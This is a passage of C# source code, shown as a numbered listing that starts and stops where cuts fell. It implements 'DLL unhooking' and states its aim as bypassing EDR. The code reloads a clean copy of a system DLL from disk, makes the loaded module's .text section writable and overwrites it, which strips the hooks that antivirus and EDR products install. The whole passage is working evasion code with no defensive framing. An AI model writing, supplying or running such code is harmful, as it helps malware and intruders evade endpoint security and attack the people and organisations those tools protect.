DLL unhooking implementation to bypass EDR.
| 5 | /// DLL unhooking implementation to bypass EDR. |
| 6 | /// </summary> |
| 7 | public static class Unhook |
| 8 | { |
| 9 | /// <summary> |
| 10 | /// Unhooks a DLL by replacing the .text section with the original DLL section. |
| 11 | /// <para>The bitness of the current process must match the bitness of the operating system.</para> |
| 12 | /// </summary> |
| 13 | /// <param name="name">The name of the DLL to unhook.</param> |
| 14 | public static unsafe void UnhookDll(string name) |
| 15 | { |
| 16 | try |
| 17 | { |
| 18 | // Get original DLL handle. This DLL is possibly hooked by AV/EDR solutions. |
| 19 | IntPtr dll = GetModuleHandle(name); |
| 20 | if (dll != IntPtr.Zero) |
| 21 | { |
| 22 | if (GetModuleInformation(GetCurrentProcess(), dll, out MODULEINFO moduleInfo, (uint)sizeof(MODULEINFO))) |
| 23 | { |
| 24 | // Retrieve a clean copy of the DLL file. |
| 25 | IntPtr dllFile = CreateFileA(@"C:\Windows\System32\" + name, 0x80000000, 1, IntPtr.Zero, 3, 0, IntPtr.Zero); |
| 26 | if (dllFile != (IntPtr)(-1)) |
| 27 | { |
| 28 | // Map the clean DLL into memory |
| 29 | IntPtr dllMapping = CreateFileMapping(dllFile, IntPtr.Zero, 0x1000002, 0, 0, null); |
| 30 | if (dllMapping != IntPtr.Zero) |
| 31 | { |
| 32 | IntPtr dllMappedFile = MapViewOfFile(dllMapping, 4, 0, 0, IntPtr.Zero); |
| 33 | if (dllMappedFile != IntPtr.Zero) |
| 34 | { |
| 35 | int ntHeaders = Marshal.ReadInt32((IntPtr)((long)moduleInfo.BaseOfDll + 0x3c)); |
| 36 | short numberOfSections = Marshal.ReadInt16((IntPtr)((long)dll + ntHeaders + 0x6)); |
| 37 | short sizeOfOptionalHeader = Marshal.ReadInt16(dll, ntHeaders + 0x14); |
| 38 | |
| 39 | for (short i = 0; i < numberOfSections; i++) |
| 40 | { |
| 41 | IntPtr sectionHeader = (IntPtr)((long)dll + ntHeaders + 0x18 + sizeOfOptionalHeader + i * 0x28); |
| 42 | |
| 43 | // Find the .text section of the hooked DLL and overwrite it with the original DLL section |
| 44 | if (Marshal.ReadByte(sectionHeader) == '.' && |
| 45 | Marshal.ReadByte((IntPtr)((long)sectionHeader + 1)) == 't' && |
| 46 | Marshal.ReadByte((IntPtr)((long)sectionHeader + 2)) == 'e' && |
| 47 | Marshal.ReadByte((IntPtr)((long)sectionHeader + 3)) == 'x' && |
| 48 | Marshal.ReadByte((IntPtr)((long)sectionHeader + 4)) == 't') |
| 49 | { |
| 50 | int virtualAddress = Marshal.ReadInt32((IntPtr)((long)sectionHeader + 0xc)); |
| 51 | uint virtualSize = (uint)Marshal.ReadInt32((IntPtr)((long)sectionHeader + 0x8)); |
| 52 | |
| 53 | VirtualProtect((IntPtr)((long)dll + virtualAddress), (IntPtr)virtualSize, 0x40, out uint oldProtect); |
| 54 | memcpy((IntPtr)((long)dll + virtualAddress), (IntPtr)((long)dllMappedFile + virtualAddress), (IntPtr)virtualSize); |
| 55 | VirtualProtect((IntPtr)((long)dll + virtualAddress), (IntPtr)virtualSize, oldProtect, out _); |
| 56 | break; |
| 57 | } |
| 58 | } |
| 59 | } |
| 60 | |
| 61 | CloseHandle(dllMapping); |
| 62 | } |
| 63 | |
| 64 | CloseHandle(dllFile); |